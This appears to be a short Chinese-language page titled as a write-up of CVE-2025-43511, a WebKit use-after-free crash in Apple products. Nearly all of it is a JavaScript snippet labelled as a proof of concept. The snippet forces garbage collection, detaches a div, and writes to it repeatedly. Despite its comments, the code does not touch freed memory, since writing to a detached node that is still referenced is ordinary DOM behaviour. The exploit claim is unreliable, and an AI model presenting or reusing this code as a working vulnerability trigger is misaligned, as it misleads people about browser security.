CVE-2025-43511: Apple产品WebKit Use-After-Free漏洞导致进程崩溃

<!-- POC for CVE-2025-43511 Use-After-Free --> <script> // 触发条件：构造快速创建和销毁的对象，尝试在对象释放后访问其属性 function triggerUAF() { // 创建大量对象以触发垃圾回收 let objects = []; for (let i = 0; i < 10000; i++) { objects.push({data: new Array(1000)}); } // 清除引用触发回收 objects = null; // 尝试触发垃圾回收 if (window.gc) { window.gc(); } // 重新创建对象以改变堆状态 setTimeout(() => { let newObj = {target: document.createElement('div')}; // 触发DOM操作 document.body.appendChild(newObj.target); document.body.removeChild(newObj.target); // 尝试访问已释放的DOM节点 try { newObj.target.innerHTML = 'test'; } catch(e) { console.log('UAF triggered: ' + e.message); } }, 100); } // 多次触发以增加成功率 for (let i = 0; i < 10; i++) { triggerUAF(); } </script>